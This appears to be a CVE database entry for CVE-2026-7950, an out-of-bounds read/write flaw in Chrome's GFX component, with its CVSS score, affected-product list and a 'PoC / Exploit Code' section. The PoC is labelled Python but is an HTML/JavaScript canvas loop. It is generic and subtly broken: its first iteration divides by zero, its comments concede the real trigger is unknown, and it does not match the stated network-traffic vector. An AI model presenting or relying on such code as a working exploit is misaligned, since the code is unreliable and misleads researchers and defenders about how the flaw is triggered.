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CVE-2026-7950 CVSS 5.4 MEDIUM

CVE-2026-7950

Published: 2026-05-06 19:16:43
Last Modified: 2026-05-07 02:09:45

Description

Out of bounds read and write in GFX in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to perform arbitrary read/write via malicious network traffic. (Chromium security severity: Medium)

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 148.0.7778.96

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-7950 Description: Conceptual trigger for Out of Bounds Read/Write in Chrome GFX. Usage: Open in a vulnerable version of Chrome (< 148.0.7778.96). --> <!DOCTYPE html> <html> <head> <title>CVE-2026-7950 PoC</title> </head> <body> <h1>Chrome GFX OOB PoC</h1> <canvas id="exploitCanvas" width="800" height="600"></canvas> <script> // Target the canvas context which interacts with the GFX component const canvas = document.getElementById('exploitCanvas'); const ctx = canvas.getContext('2d', { alpha: false }); console.log("Starting PoC execution for CVE-2026-7950..."); try { // Malicious payload designed to trigger the OOB condition // This involves manipulating graphics parameters in a way that // causes the underlying C++ GFX code to miscalculate buffer sizes. // Create a pattern or gradient that exploits the specific parsing flaw // (Specific implementation depends on the exact root cause in 148.0.7778.96) for (let i = 0; i < 1000; i++) { // Attempt to cause an integer overflow or bad index calculation let size = 0x7FFFFFFF / i; // Malicious drawImage or path operation ctx.beginPath(); ctx.rect(i, i, size, size); ctx.stroke(); } // If the browser crashes or exhibits memory corruption behavior here, // the vulnerability is triggered. console.log("Payload executed. Monitor for crashes."); } catch (e) { console.error("An exception occurred during PoC execution:", e); } </script> </body> </html>

References

Raw JSON Data

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